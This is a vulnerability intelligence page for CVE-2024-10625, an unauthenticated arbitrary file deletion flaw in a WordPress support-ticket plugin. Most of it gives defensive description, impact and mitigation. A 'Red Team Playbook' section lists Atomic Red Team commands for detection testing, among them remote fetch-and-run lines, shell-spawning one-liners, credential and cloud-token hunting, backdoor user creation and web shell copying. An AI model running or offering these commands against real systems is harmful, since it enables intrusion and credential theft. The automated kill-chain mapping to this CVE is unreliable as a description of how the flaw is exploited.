CVE-2024-10625
Overview
This vulnerability is an arbitrary file deletion flaw caused by insufficient validation of file paths within the delete_tmp_uploaded_file() function of the vanquish WooCommerce Support Ticket System plugin for WordPress. The affected component fails to properly sanitize user-supplied input, allowing traversal outside intended directories. This improper file path validation enables manipulation of file system operations in all plugin versions up to and including 17.7.
Vulnerability Description
The WooCommerce Support Ticket System plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_tmp_uploaded_file() function in all versions up to, and including, 17.7. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An unauthenticated remote attacker can delete arbitrary files on the web server by exploiting this vulnerability, potentially removing critical configuration or code files. This can lead to denial of service or facilitate remote code execution if key files like wp-config.php are deleted and replaced. The attack requires no privileges or user interaction and can be executed over the network (CVSS vector AV:N/AC:L/PR:N/UI:N). Business impacts include service disruption and compromise of the WordPress environment's integrity and confidentiality.
Solution
Users of the vanquish WooCommerce Support Ticket System plugin should upgrade to a fixed version beyond 17.7 as recommended by the vendor. Detailed patch instructions and updates are available in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/ddf1cecd-c630-498d-9aa0-3d0adeb73033). Applying the latest plugin update from the official source on CodeCanyon (https://codecanyon.net/item/woocommerce-support-ticket-system/17930050) is advised to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WooCommerce Support Ticket System plugin for WordPress stems from inadequate validation of file paths within the delete_tmp_uploaded_file() function. This flaw allows unauthenticated attackers to exploit the system by sending crafted requests that manipulate the file deletion process. The lack of stringent checks means that an attacker can specify arbitrary file paths, leading to the potential deletion of critical files on the server. This vulnerability is particularly concerning as it can be leveraged to delete essential configuration files, such as wp-config.php, which could subsequently enable remote code execution or complete system compromise.
Attack vectors for this vulnerability are straightforward, as they do not require authentication. An attacker could utilize tools such as cURL or custom scripts to send HTTP requests targeting the vulnerable function. By exploiting the insufficient file path validation, the attacker could specify paths to sensitive files, leading to their deletion. For instance, if the attacker successfully deletes wp-config.php, they could disrupt the WordPress site’s functionality and potentially gain access to the database credentials contained within that file. This scenario illustrates how an attacker could escalate their access and control over the entire server environment, making it a critical threat.
The real-world impact of this vulnerability is significant, especially for businesses relying on the WooCommerce Support Ticket System for customer interactions and support. The ability to delete arbitrary files can lead to severe operational disruptions, data loss, and potential financial repercussions. Organizations may face downtime, loss of customer trust, and the costs associated with recovery efforts. Furthermore, if sensitive data is compromised or if the system is used to launch further attacks, the reputational damage could be long-lasting. The potential for remote code execution following file deletion exacerbates the risk, as it opens the door for attackers to deploy malware or conduct further exploits.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, monitoring and logging of file deletion requests can help identify suspicious activities. Intrusion detection systems (IDS) can be configured to alert administrators of unusual patterns that may indicate an attempted exploitation of this vulnerability. Additionally, ensuring that the WooCommerce Support Ticket System plugin is updated to the latest version is crucial, as updates often include patches for known vulnerabilities. Organizations should also consider employing web application firewalls (WAF) to filter and monitor HTTP requests, thereby blocking malicious attempts to exploit the vulnerability.
In conclusion, the vulnerability in the WooCommerce Support Ticket System plugin poses a serious threat to WordPress installations, particularly due to its potential for arbitrary file deletion and subsequent remote code execution. The ease of exploitation, combined with the significant impact on business operations and security, necessitates immediate attention from organizations utilizing this plugin. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against this and similar vulnerabilities, thereby enhancing their overall cybersecurity posture.
The CVSS score for CVE-2024-10625 has been revised upward from 9.1 to 9.8, reflecting a reassessment of the vulnerability’s criticality based on its exploitation potential and impact. This adjustment underscores the heightened risk posed by the arbitrary file deletion flaw in the WooCommerce Support Ticket System plugin, particularly given its unauthenticated nature and the ease with which attackers can target sensitive files like wp-config.php to achieve remote code execution. CSURFACE threat intelligence indicates that while exploit activity remains stable without a marked surge, the vulnerability’s exploitability and potential consequences warrant increased vigilance. The elevated CVSS score signals to defenders that the threat environment is more severe than initially assessed, emphasizing the urgent need for detection capabilities and risk prioritization. Although no new exploit variants have surfaced, the stable EPSS score near the top percentile confirms that this vulnerability remains a high-value target for attackers, sustaining its relevance in threat landscapes. Consequently, the overall threat level is now considered more critical, reinforcing the imperative for organizations to recognize the amplified danger this vulnerability presents.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vanquish | Woocommerce Support Ticket System | All |
cpe:2.3:a:vanquish:woocommerce_support_ticket_system:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10625 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/ddf1cecd-c630-498d-9aa0-3d0adeb73033?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/woocommerce-support-ticket-system/17930050 |